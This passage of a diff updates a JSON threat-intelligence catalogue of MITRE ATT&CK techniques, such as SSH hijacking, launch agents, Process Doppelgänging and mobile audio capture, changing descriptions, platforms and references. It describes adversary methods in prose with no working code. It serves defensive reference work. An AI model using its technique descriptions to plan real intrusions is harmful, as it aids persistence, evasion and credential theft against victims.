Accounts](https://attack.mitre.org/techniques/T1078).", "meta": { "external_id": "T1184", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1184", "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", @@ -24860,7 +22083,7 @@ "value": "SSH Hijacking - T1184" }, { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). \n\n ", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "meta": { "external_id": "T1481", "kill_chain": [ @@ -24949,13 +22172,6 @@ "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "meta": { "external_id": "T1165", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1165", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", @@ -24975,7 +22191,7 @@ "value": "Startup Items - T1165" }, { - "description": "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass) ", + "description": "A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)", "meta": { "external_id": "T1517", "kill_chain": [ @@ -24997,13 +22213,6 @@ "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1157", "https://capec.mitre.org/data/definitions/471.html", @@ -25059,12 +22268,6 @@ "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", "meta": { "external_id": "T1159", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1159", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -25114,7 +22317,7 @@ "value": "Call Control - T1616" }, { - "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", + "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", "meta": { "external_id": "T1176", "kill_chain": [ @@ -25153,12 +22356,6 @@ "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", "meta": { "external_id": "T1167", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", @@ -25182,12 +22379,6 @@ "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", "meta": { "external_id": "T1186", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1186", "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", @@ -25224,15 +22415,7 @@ "https://attack.mitre.org/techniques/T1618" ] }, - "related": [ - { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "value": "User Evasion - T1618" }, @@ -25240,13 +22423,6 @@ "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "meta": { "external_id": "T1177", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1177", "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", @@ -25373,36 +22549,22 @@ "value": "Misattributable credentials - T1322" }, { - "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)", + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.", "meta": { - "external_id": "T1622", + "external_id": "T1532", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:discovery" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Command: Command Execution", - "Process: OS API Execution", - "Process: Process Creation" + "mitre-mobile-attack:exfiltration" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1622", - "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug", - "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf", - "https://github.com/processhacker/processhacker", - "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug", - "https://objective-see.com/blog/blog_0x60.html", - "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/" + "https://attack.mitre.org/techniques/T1532" ] }, - "uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "value": "Debugger Evasion - T1622" + "uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "value": "Data Encrypted - T1532" }, { "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", @@ -25419,15 +22581,14 @@ "value": "DNS poisoning - T1382" }, { - "description": "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. \n\n \n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges) \n\n \n\nIn iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions. ", + "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).", "meta": { "external_id": "T1424", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android", - "iOS" + "Android" ], "refs": [ "https://attack.mitre.org/techniques/T1424", @@ -25438,7 +22599,7 @@ "value": "Process Discovery - T1424" }, { - "description": "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information. \n\n \n\nAndroid and iOS, by default, require that applications request device microphone access from the user. \n\n \n\nOn Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission) \n\n \n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)", + "description": "Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.\n\nAndroid and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -25450,16 +22611,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1429", - "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/", - "https://developer.android.com/reference/android/Manifest.permission", - "https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL", - "https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", - "https://source.android.com/devices/tech/config/privacy-indicators" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" ] }, "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", - "value": "Audio Capture - T1429" + "value": "Capture Audio - T1429" }, { "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", @@ -25578,42 +22734,6 @@ "uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "value": "SMS Control - T1582" }, - { - "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", - "meta": { - "external_id": "T1627", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1627", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" - ] - }, - "uuid": "498e7b81-238d-404c-aa5e-332904d63286", - "value": "Execution Guardrails - T1627" - }, - { - "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.", - "meta": { - "external_id": "T1628", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628" - ] - }, - "uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "value": "Hide Artifacts - T1628" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).\n\nDumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", "meta": { @@ -25628,25 +22748,6 @@ "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d", "value": "Dumpster dive - T1286" }, - { - "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", - "https://partner.samsungknox.com/mtd" - ] - }, - "uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "value": "Impair Defenses - T1629" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).\n\nDynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", "meta": { @@ -25685,7 +22786,7 @@ "value": "Port redirector - T1363" }, { - "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", + "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", "meta": { "external_id": "T1534", "kill_chain": [ @@ -25780,25 +22881,6 @@ "uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2", "value": "Acquire Infrastructure - T1583" }, - { - "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", - "meta": { - "external_id": "T1637", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1637", - "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" - ] - }, - "uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", - "value": "Dynamic Resolution - T1637" - }, { "description": "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", "meta": { @@ -25818,15 +22900,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" ] }, - "related": [ - { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "value": "Device Lockout - T1446" }, @@ -25859,9 +22933,9 @@ "Office 365" ], "refs": [ + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://attack.mitre.org/techniques/T1564", "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" ] @@ -25870,7 +22944,7 @@ "value": "Hide Artifacts - T1564" }, { - "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) \n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "meta": { "external_id": "T1584", "kill_chain": [ @@ -25893,7 +22967,6 @@ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "https://threatconnect.com/blog/infrastructure-research-hunting/", "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", - "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "https://www.icann.org/groups/ssac/documents/sac-007-en", "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" @@ -25942,7 +23015,7 @@ "value": "Data Destruction - T1485" }, { - "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus 